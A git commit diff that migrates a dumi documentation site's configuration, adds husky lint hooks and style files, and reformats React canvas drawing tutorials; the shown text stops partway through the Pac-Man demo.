feat: 修改忽略文件
36
.dumi/global.less
Normal file
@ -0,0 +1,36 @@
|
||||
#root .dumi-default-doc-layout .dumi-default-features-item {
|
||||
text-align: center;
|
||||
}
|
||||
#root .dumi-default-doc-layout > main {
|
||||
max-width: none;
|
||||
}
|
||||
|
||||
#root .dumi-default-sidebar {
|
||||
overflow-y: hidden;
|
||||
&:hover {
|
||||
overflow-y: auto;
|
||||
}
|
||||
}
|
||||
#root .dumi-default-logo {
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
#root .dumi-default-logo img {
|
||||
width: 30px;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
#root .dumi-default-navbar>li {
|
||||
font-size: 14px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
#root .dumi-default-search-bar-input {
|
||||
width: 200px;
|
||||
height: 32px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
#root .dumi-default-hero-title>span {
|
||||
font-size: 96px;
|
||||
}
|
@ -1,12 +0,0 @@
|
||||
// .dumi/theme/layout.tsx(本地主题) 或 src/layout.tsx(主题包)
|
||||
import React from 'react';
|
||||
import Layout from 'dumi-theme-default/es/layout';
|
||||
|
||||
export default ({ children, ...props }) => (
|
||||
<Layout {...props}>
|
||||
<>
|
||||
<button>反馈</button>
|
||||
{children}
|
||||
</>
|
||||
</Layout>
|
||||
);
|
@ -1,32 +0,0 @@
|
||||
// .dumi/theme/layout.tsx(本地主题) 或 src/layout.tsx(主题包)
|
||||
import React, { useEffect } from 'react';
|
||||
import Layout from 'dumi-theme-default/es/layout';
|
||||
|
||||
export default ({ children, ...props }) => {
|
||||
const { history } = props;
|
||||
|
||||
useEffect(() => {
|
||||
const header = document.querySelector('.__dumi-default-navbar')
|
||||
const cont = document.querySelector('.__dumi-default-layout-content')
|
||||
const lo = document.querySelector('.__dumi-default-layout')
|
||||
|
||||
if (location.hash === '#/resume' && lo) {
|
||||
|
||||
cont.style.position = 'relative'
|
||||
cont.style.top = '-64px'
|
||||
header.style.display = 'none'
|
||||
} else {
|
||||
cont.style.position = 'relative'
|
||||
cont.style.top = '0'
|
||||
header.style.display = 'flex'
|
||||
}
|
||||
},[location.hash])
|
||||
|
||||
return (
|
||||
<Layout {...props}>
|
||||
<>
|
||||
{children}
|
||||
</>
|
||||
</Layout>
|
||||
)
|
||||
};
|
38
.dumirc.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import { defineConfig } from 'dumi';
|
||||
|
||||
export default defineConfig({
|
||||
title: 'Nice Note',
|
||||
themeConfig: {
|
||||
navs: [
|
||||
null,
|
||||
{
|
||||
title: 'GitHub',
|
||||
path: 'git@github.com:j710328466/learn-note.git',
|
||||
},
|
||||
]
|
||||
},
|
||||
logo: 'https://i.niupic.com/images/2021/06/07/9krN.png',
|
||||
favicons: ['https://i.niupic.com/images/2021/06/07/9krN.png'],
|
||||
outputPath: 'docs-dist',
|
||||
hash: true,
|
||||
history: {
|
||||
type: 'hash',
|
||||
},
|
||||
publicPath: '/',
|
||||
resolve: {
|
||||
docDirs: ['docs'],
|
||||
atomDirs: [{ type: 'component', dir: 'src' }],
|
||||
codeBlockMode: 'passive',
|
||||
},
|
||||
locales: [{ id: 'zh-CN', name: '中文' }], // 2.0 默认值
|
||||
analyze: {
|
||||
analyzerMode: 'server',
|
||||
analyzerPort: 8888,
|
||||
openAnalyzer: false,
|
||||
// generate stats file while ANALYZE_DUMP exist
|
||||
generateStatsFile: false,
|
||||
statsFilename: 'stats.json',
|
||||
logLevel: 'info',
|
||||
defaultSizes: 'parsed', // stat // gzip
|
||||
}
|
||||
});
|
3
.editorconfig
Executable file → Normal file
@ -11,6 +11,3 @@ insert_final_newline = true
|
||||
|
||||
[*.md]
|
||||
trim_trailing_whitespace = false
|
||||
|
||||
[Makefile]
|
||||
indent_style = tab
|
||||
|
@ -1,4 +0,0 @@
|
||||
export default {
|
||||
esm: 'rollup',
|
||||
cjs: 'rollup',
|
||||
};
|
19
.gitignore
vendored
@ -1,20 +1,8 @@
|
||||
# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
|
||||
|
||||
# dependencies
|
||||
/node_modules
|
||||
/npm-debug.log*
|
||||
/yarn-error.log
|
||||
/yarn.lock
|
||||
/package-lock.json
|
||||
|
||||
# production
|
||||
node_modules
|
||||
/dist
|
||||
/docs-dist
|
||||
|
||||
# misc
|
||||
.dumi/tmp
|
||||
.dumi/tmp-production
|
||||
.DS_Store
|
||||
|
||||
# umi
|
||||
.umi
|
||||
.umi-production
|
||||
.umi-test
|
||||
@ -27,3 +15,4 @@
|
||||
# ide
|
||||
/.vscode
|
||||
/.idea
|
||||
/docs-dist
|
||||
|
4
.husky/commit-msg
Executable file
@ -0,0 +1,4 @@
|
||||
#!/usr/bin/env sh
|
||||
. "$(dirname -- "$0")/_/husky.sh"
|
||||
|
||||
npx commitlint --edit "${1}"
|
4
.husky/pre-commit
Executable file
@ -0,0 +1,4 @@
|
||||
#!/usr/bin/env sh
|
||||
. "$(dirname -- "$0")/_/husky.sh"
|
||||
|
||||
npx lint-staged
|
3
.npmrc
Normal file
@ -0,0 +1,3 @@
|
||||
registry="https://registry.npmmirror.com"
|
||||
strict-peer-dependencies=false
|
||||
ignore-workspace-root-check=true
|
@ -1,7 +1,3 @@
|
||||
**/*.svg
|
||||
**/*.ejs
|
||||
**/*.html
|
||||
package.json
|
||||
.umi
|
||||
.umi-production
|
||||
.umi-test
|
||||
.dumi/tmp
|
||||
.dumi/tmp-production
|
||||
*.yaml
|
||||
|
11
.prettierrc
@ -1,11 +0,0 @@
|
||||
{
|
||||
"singleQuote": true,
|
||||
"trailingComma": "all",
|
||||
"printWidth": 80,
|
||||
"overrides": [
|
||||
{
|
||||
"files": ".prettierrc",
|
||||
"options": { "parser": "json" }
|
||||
}
|
||||
]
|
||||
}
|
14
.prettierrc.js
Normal file
@ -0,0 +1,14 @@
|
||||
module.exports = {
|
||||
printWidth: 80,
|
||||
proseWrap: 'never',
|
||||
singleQuote: true,
|
||||
trailingComma: 'all',
|
||||
overrides: [
|
||||
{
|
||||
files: '*.md',
|
||||
options: {
|
||||
proseWrap: 'preserve',
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
39
.umirc.ts
@ -1,39 +0,0 @@
|
||||
import { defineConfig } from 'dumi';
|
||||
|
||||
export default defineConfig({
|
||||
title: 'NiceNote',
|
||||
favicon: 'https://jzx-h5.oss-cn-hangzhou.aliyuncs.com/logo.ico',
|
||||
logo: 'http://jzx-h5.oss-cn-hangzhou.aliyuncs.com/logo.png',
|
||||
outputPath: 'docs-dist',
|
||||
hash: true,
|
||||
dynamicImport: {},
|
||||
history: {
|
||||
type: 'hash',
|
||||
},
|
||||
mode: 'site',
|
||||
publicPath: '/',
|
||||
resolve: {
|
||||
includes: [
|
||||
'docs',
|
||||
'src'
|
||||
],
|
||||
},
|
||||
locales: [['zh-CN', '中文']],
|
||||
navs: [
|
||||
null,
|
||||
{
|
||||
title: 'GitHub',
|
||||
path: 'git@github.com:j710328466/learn-note.git',
|
||||
},
|
||||
],
|
||||
analyze: {
|
||||
analyzerMode: 'server',
|
||||
analyzerPort: 8888,
|
||||
openAnalyzer: false,
|
||||
// generate stats file while ANALYZE_DUMP exist
|
||||
generateStatsFile: false,
|
||||
statsFilename: 'stats.json',
|
||||
logLevel: 'info',
|
||||
defaultSizes: 'parsed', // stat // gzip
|
||||
}
|
||||
});
|
52
CHANGELOG.md
@ -2,34 +2,30 @@
|
||||
|
||||
### 🌟 新功能
|
||||
|
||||
* 初始化项目 ([466dbeb](https://github.com/j710328466/j710328466.github.io/commit/466dbeb))
|
||||
* 新增模块 ([9e0b3a9](https://github.com/j710328466/j710328466.github.io/commit/9e0b3a9))
|
||||
* 新增心跳组件 ([82a59b4](https://github.com/j710328466/j710328466.github.io/commit/82a59b4))
|
||||
* 修改tools,git命令 ([efb8285](https://github.com/j710328466/j710328466.github.io/commit/efb8285))
|
||||
* **docs:** 新增文章 ([f659605](https://github.com/j710328466/j710328466.github.io/commit/f659605))
|
||||
* **fea/vue:** 新增vue教程文档 ([d150264](https://github.com/j710328466/j710328466.github.io/commit/d150264))
|
||||
* **fea:** typescript ([abb3cfe](https://github.com/j710328466/j710328466.github.io/commit/abb3cfe))
|
||||
* **md:** 新文章 ([41459c4](https://github.com/j710328466/j710328466.github.io/commit/41459c4))
|
||||
* **package.json:** 添加husky ([95a0051](https://github.com/j710328466/j710328466.github.io/commit/95a0051))
|
||||
* **resume:** 修改简历 ([9f28c78](https://github.com/j710328466/j710328466.github.io/commit/9f28c78))
|
||||
* svg学习笔记 ([63e96b7](https://github.com/j710328466/j710328466.github.io/commit/63e96b7))
|
||||
|
||||
- 初始化项目 ([466dbeb](https://github.com/j710328466/j710328466.github.io/commit/466dbeb))
|
||||
- 新增模块 ([9e0b3a9](https://github.com/j710328466/j710328466.github.io/commit/9e0b3a9))
|
||||
- 新增心跳组件 ([82a59b4](https://github.com/j710328466/j710328466.github.io/commit/82a59b4))
|
||||
- 修改 tools,git 命令 ([efb8285](https://github.com/j710328466/j710328466.github.io/commit/efb8285))
|
||||
- **docs:** 新增文章 ([f659605](https://github.com/j710328466/j710328466.github.io/commit/f659605))
|
||||
- **fea/vue:** 新增 vue 教程文档 ([d150264](https://github.com/j710328466/j710328466.github.io/commit/d150264))
|
||||
- **fea:** typescript ([abb3cfe](https://github.com/j710328466/j710328466.github.io/commit/abb3cfe))
|
||||
- **md:** 新文章 ([41459c4](https://github.com/j710328466/j710328466.github.io/commit/41459c4))
|
||||
- **package.json:** 添加 husky ([95a0051](https://github.com/j710328466/j710328466.github.io/commit/95a0051))
|
||||
- **resume:** 修改简历 ([9f28c78](https://github.com/j710328466/j710328466.github.io/commit/9f28c78))
|
||||
- svg 学习笔记 ([63e96b7](https://github.com/j710328466/j710328466.github.io/commit/63e96b7))
|
||||
|
||||
### 🐛 Bug 修复
|
||||
|
||||
* **工具类:** lerna QA ([dbb0c36](https://github.com/j710328466/j710328466.github.io/commit/dbb0c36))
|
||||
* 设计模式添加 ([79143a6](https://github.com/j710328466/j710328466.github.io/commit/79143a6))
|
||||
* 新增react学习 ([a7ec84e](https://github.com/j710328466/j710328466.github.io/commit/a7ec84e))
|
||||
* 修改路径 ([2261dc4](https://github.com/j710328466/j710328466.github.io/commit/2261dc4))
|
||||
* 修改配置 ([bfd5f0f](https://github.com/j710328466/j710328466.github.io/commit/bfd5f0f))
|
||||
* 修改设计模式 ([6f5630d](https://github.com/j710328466/j710328466.github.io/commit/6f5630d))
|
||||
* 修改bug ([83e7ea9](https://github.com/j710328466/j710328466.github.io/commit/83e7ea9))
|
||||
* 优化react 设计模式 ([cf4958e](https://github.com/j710328466/j710328466.github.io/commit/cf4958e))
|
||||
* **fed/vue:** 新增内容 ([07f15ba](https://github.com/j710328466/j710328466.github.io/commit/07f15ba))
|
||||
* **resume:** 新增简历 ([f40ea2e](https://github.com/j710328466/j710328466.github.io/commit/f40ea2e))
|
||||
* **resume:** 修改简历 ([aa7715c](https://github.com/j710328466/j710328466.github.io/commit/aa7715c))
|
||||
* **resume:** 修改简历 ([3e498ff](https://github.com/j710328466/j710328466.github.io/commit/3e498ff))
|
||||
* **sd:** sd ([e7d434d](https://github.com/j710328466/j710328466.github.io/commit/e7d434d))
|
||||
|
||||
|
||||
|
||||
- **工具类:** lerna QA ([dbb0c36](https://github.com/j710328466/j710328466.github.io/commit/dbb0c36))
|
||||
- 设计模式添加 ([79143a6](https://github.com/j710328466/j710328466.github.io/commit/79143a6))
|
||||
- 新增 react 学习 ([a7ec84e](https://github.com/j710328466/j710328466.github.io/commit/a7ec84e))
|
||||
- 修改路径 ([2261dc4](https://github.com/j710328466/j710328466.github.io/commit/2261dc4))
|
||||
- 修改配置 ([bfd5f0f](https://github.com/j710328466/j710328466.github.io/commit/bfd5f0f))
|
||||
- 修改设计模式 ([6f5630d](https://github.com/j710328466/j710328466.github.io/commit/6f5630d))
|
||||
- 修改 bug ([83e7ea9](https://github.com/j710328466/j710328466.github.io/commit/83e7ea9))
|
||||
- 优化 react 设计模式 ([cf4958e](https://github.com/j710328466/j710328466.github.io/commit/cf4958e))
|
||||
- **fed/vue:** 新增内容 ([07f15ba](https://github.com/j710328466/j710328466.github.io/commit/07f15ba))
|
||||
- **resume:** 新增简历 ([f40ea2e](https://github.com/j710328466/j710328466.github.io/commit/f40ea2e))
|
||||
- **resume:** 修改简历 ([aa7715c](https://github.com/j710328466/j710328466.github.io/commit/aa7715c))
|
||||
- **resume:** 修改简历 ([3e498ff](https://github.com/j710328466/j710328466.github.io/commit/3e498ff))
|
||||
- **sd:** sd ([e7d434d](https://github.com/j710328466/j710328466.github.io/commit/e7d434d))
|
||||
|
2
LICENSE
@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2021 Dev
|
||||
Copyright (c) 71032866@qq.com
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
33
README.md
@ -1,27 +1,20 @@
|
||||
# learn-note
|
||||
# nicenote
|
||||
|
||||
## Getting Started
|
||||
A static site base on [dumi](https://d.umijs.org).
|
||||
|
||||
Install dependencies,
|
||||
## Development
|
||||
|
||||
```bash
|
||||
$ npm i
|
||||
# install dependencies
|
||||
$ cnpm install
|
||||
|
||||
# start dev server
|
||||
$ cnpm start
|
||||
|
||||
# build docs
|
||||
$ cnpm run build
|
||||
```
|
||||
|
||||
Start the dev server,
|
||||
## LICENSE
|
||||
|
||||
```bash
|
||||
$ npm start
|
||||
```
|
||||
|
||||
Build documentation,
|
||||
|
||||
```bash
|
||||
$ npm run docs:build
|
||||
```
|
||||
|
||||
Build library via `father-build`,
|
||||
|
||||
```bash
|
||||
$ npm run build
|
||||
```
|
||||
MIT
|
||||
|
@ -1,3 +0,0 @@
|
||||
module.exports = {
|
||||
extends: ["@nicecode/commit-lint"]
|
||||
};
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 Q&A
|
||||
order: 100
|
||||
path: /qa
|
||||
---
|
||||
|
||||
# 💊 Q&A
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 canvas
|
||||
order: 2
|
||||
path: /canvas
|
||||
---
|
||||
|
||||
## 基础入门
|
||||
@ -15,41 +16,41 @@ group:
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 绘制矩形
|
||||
* fillRect(x, y, w, h) 填充矩形
|
||||
* strokeRect(x, y, w, h) 边框矩形
|
||||
* clearRect(x, y, w, h) 清除指定区域
|
||||
*/
|
||||
function fillRect() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 绘制矩形
|
||||
* fillRect(x, y, w, h) 填充矩形
|
||||
* strokeRect(x, y, w, h) 边框矩形
|
||||
* clearRect(x, y, w, h) 清除指定区域
|
||||
*/
|
||||
function fillRect() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 实心矩形
|
||||
ctx.fillStyle = 'red'
|
||||
ctx.fillRect(25, 25, 50, 50)
|
||||
// 实心矩形
|
||||
ctx.fillStyle = 'red';
|
||||
ctx.fillRect(25, 25, 50, 50);
|
||||
|
||||
// 空心矩形
|
||||
ctx.lineWidth = 1
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.strokeRect(75, 75, 50, 50)
|
||||
// 空心矩形
|
||||
ctx.lineWidth = 1;
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.strokeRect(75, 75, 50, 50);
|
||||
|
||||
// 清除区域
|
||||
ctx.clearRect(50, 50, 50, 50)
|
||||
}
|
||||
// 清除区域
|
||||
ctx.clearRect(50, 50, 50, 50);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
fillRect()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
fillRect();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 三角形
|
||||
@ -58,40 +59,40 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 绘制三角形
|
||||
*/
|
||||
function tri() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 绘制三角形
|
||||
*/
|
||||
function tri() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 实心三角形
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(90, 25)
|
||||
ctx.lineTo(25, 90)
|
||||
ctx.lineTo(155, 90)
|
||||
ctx.fill()
|
||||
// 实心三角形
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(90, 25);
|
||||
ctx.lineTo(25, 90);
|
||||
ctx.lineTo(155, 90);
|
||||
ctx.fill();
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(90, 155)
|
||||
ctx.lineTo(25, 90)
|
||||
ctx.lineTo(155, 90)
|
||||
ctx.closePath()
|
||||
ctx.stroke()
|
||||
}
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(90, 155);
|
||||
ctx.lineTo(25, 90);
|
||||
ctx.lineTo(155, 90);
|
||||
ctx.closePath();
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
tri()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
tri();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 绘制圆弧
|
||||
@ -100,38 +101,38 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
// 绘制圆弧
|
||||
function drawArc() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
// 绘制圆弧
|
||||
function drawArc() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
let x = 90,
|
||||
y = 90,
|
||||
r = 30,
|
||||
startAngle = 0,
|
||||
endAngle = (Math.PI / 180) * 180
|
||||
let x = 90,
|
||||
y = 90,
|
||||
r = 30,
|
||||
startAngle = 0,
|
||||
endAngle = (Math.PI / 180) * 180;
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.arc(x, y, r, startAngle, endAngle, false)
|
||||
ctx.fill()
|
||||
ctx.beginPath();
|
||||
ctx.arc(x, y, r, startAngle, endAngle, false);
|
||||
ctx.fill();
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.arc(x, y, r, startAngle, endAngle, true)
|
||||
ctx.stroke()
|
||||
}
|
||||
ctx.beginPath();
|
||||
ctx.arc(x, y, r, startAngle, endAngle, true);
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
drawArc()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
drawArc();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 绘制贝塞尔曲线
|
||||
@ -140,44 +141,43 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* quadraticCurveTo(cp1x, cp1y, x, y) cp1 为控制点
|
||||
* bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y) cp1、cp2 为控制点
|
||||
* x、y 为结束点
|
||||
*/
|
||||
function bezier() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* quadraticCurveTo(cp1x, cp1y, x, y) cp1 为控制点
|
||||
* bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y) cp1、cp2 为控制点
|
||||
* x、y 为结束点
|
||||
*/
|
||||
function bezier() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 二次贝塞尔曲线
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(30, 90)
|
||||
ctx.quadraticCurveTo(15, 15, 90, 30)
|
||||
ctx.quadraticCurveTo(165, 15, 150, 90)
|
||||
ctx.quadraticCurveTo(148, 130, 70, 120)
|
||||
ctx.quadraticCurveTo(65, 140, 40, 140)
|
||||
ctx.quadraticCurveTo(65, 135, 55, 120)
|
||||
ctx.quadraticCurveTo(30, 115, 30, 90)
|
||||
ctx.stroke()
|
||||
// 二次贝塞尔曲线
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(30, 90);
|
||||
ctx.quadraticCurveTo(15, 15, 90, 30);
|
||||
ctx.quadraticCurveTo(165, 15, 150, 90);
|
||||
ctx.quadraticCurveTo(148, 130, 70, 120);
|
||||
ctx.quadraticCurveTo(65, 140, 40, 140);
|
||||
ctx.quadraticCurveTo(65, 135, 55, 120);
|
||||
ctx.quadraticCurveTo(30, 115, 30, 90);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.font = '18px bold 黑体'
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.fillText('聊天框', 120, 160)
|
||||
ctx.font = '18px bold 黑体';
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.fillText('聊天框', 120, 160);
|
||||
}
|
||||
|
||||
}
|
||||
useEffect(() => {
|
||||
bezier();
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
bezier()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 绘制三次贝塞尔曲线
|
||||
@ -186,43 +186,43 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 绘制三次贝塞尔曲线
|
||||
*
|
||||
*/
|
||||
function beziers() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 绘制三次贝塞尔曲线
|
||||
*
|
||||
*/
|
||||
function beziers() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 三次贝塞尔曲线
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(90, 40)
|
||||
ctx.bezierCurveTo(90, 36, 70, 25, 50, 25)
|
||||
ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5)
|
||||
ctx.bezierCurveTo(20, 80, 40, 120, 90, 140)
|
||||
ctx.bezierCurveTo(110, 135, 155, 110, 160, 62.5)
|
||||
ctx.bezierCurveTo(160, 22, 140, 25, 130, 25)
|
||||
ctx.bezierCurveTo(120, 25, 110, 30, 90, 40)
|
||||
ctx.fillStyle = 'red'
|
||||
ctx.fill()
|
||||
// 三次贝塞尔曲线
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(90, 40);
|
||||
ctx.bezierCurveTo(90, 36, 70, 25, 50, 25);
|
||||
ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
|
||||
ctx.bezierCurveTo(20, 80, 40, 120, 90, 140);
|
||||
ctx.bezierCurveTo(110, 135, 155, 110, 160, 62.5);
|
||||
ctx.bezierCurveTo(160, 22, 140, 25, 130, 25);
|
||||
ctx.bezierCurveTo(120, 25, 110, 30, 90, 40);
|
||||
ctx.fillStyle = 'red';
|
||||
ctx.fill();
|
||||
|
||||
ctx.font = '18px bold 黑体'
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.fillText('爱心', 120, 160)
|
||||
}
|
||||
ctx.font = '18px bold 黑体';
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.fillText('爱心', 120, 160);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
beziers()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
beziers();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 绘制笑脸
|
||||
@ -231,42 +231,41 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 绘制笑脸
|
||||
*
|
||||
*/
|
||||
function fillSmile() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 绘制笑脸
|
||||
*
|
||||
*/
|
||||
function fillSmile() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.arc(75, 75, 50, 0, Math.PI * 2, true)
|
||||
ctx.moveTo(110, 75)
|
||||
ctx.arc(75, 75, 35, 0, Math.PI, false)
|
||||
ctx.moveTo(65, 65)
|
||||
ctx.arc(60, 65, 5, 0, Math.PI * 2, true)
|
||||
ctx.moveTo(95, 65)
|
||||
ctx.arc(90, 65, 5, 0, Math.PI * 2, true)
|
||||
ctx.stroke()
|
||||
ctx.beginPath();
|
||||
ctx.arc(75, 75, 50, 0, Math.PI * 2, true);
|
||||
ctx.moveTo(110, 75);
|
||||
ctx.arc(75, 75, 35, 0, Math.PI, false);
|
||||
ctx.moveTo(65, 65);
|
||||
ctx.arc(60, 65, 5, 0, Math.PI * 2, true);
|
||||
ctx.moveTo(95, 65);
|
||||
ctx.arc(90, 65, 5, 0, Math.PI * 2, true);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.font = '18px bold 黑体'
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.fillText('笑脸', 120, 160)
|
||||
}
|
||||
ctx.font = '18px bold 黑体';
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.fillText('笑脸', 120, 160);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
fillSmile();
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
fillSmile()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### 吃豆人
|
||||
@ -275,142 +274,137 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef = useRef();
|
||||
|
||||
/**
|
||||
* 吃豆人
|
||||
*
|
||||
*/
|
||||
function bean() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
/**
|
||||
* 吃豆人
|
||||
*
|
||||
*/
|
||||
function bean() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
// 外墙
|
||||
_roundedRect(ctx, 12, 12, 160, 160, 15)
|
||||
_roundedRect(ctx, 18, 18, 148, 148, 9)
|
||||
// 内墙
|
||||
_roundedRect(ctx, 45, 50, 45, 30, 6)
|
||||
_roundedRect(ctx, 115, 50, 45, 30, 6)
|
||||
_roundedRect(ctx, 115, 110, 45, 50, 6)
|
||||
_roundedRect(ctx, 45, 110, 45, 25, 6)
|
||||
// 外墙
|
||||
_roundedRect(ctx, 12, 12, 160, 160, 15);
|
||||
_roundedRect(ctx, 18, 18, 148, 148, 9);
|
||||
// 内墙
|
||||
_roundedRect(ctx, 45, 50, 45, 30, 6);
|
||||
_roundedRect(ctx, 115, 50, 45, 30, 6);
|
||||
_roundedRect(ctx, 115, 110, 45, 50, 6);
|
||||
_roundedRect(ctx, 45, 110, 45, 25, 6);
|
||||
|
||||
// 绘制吃豆人
|
||||
ctx.beginPath()
|
||||
ctx.arc(35, 35, 10, Math.PI / 7, -Math.PI / 7, false)
|
||||
ctx.lineTo(31, 37)
|
||||
ctx.fill()
|
||||
// 绘制吃豆人
|
||||
ctx.beginPath();
|
||||
ctx.arc(35, 35, 10, Math.PI / 7, -Math.PI / 7, false);
|
||||
ctx.lineTo(31, 37);
|
||||
ctx.fill();
|
||||
|
||||
// 绘制魔鬼
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(83, 116)
|
||||
ctx.lineTo(83, 102)
|
||||
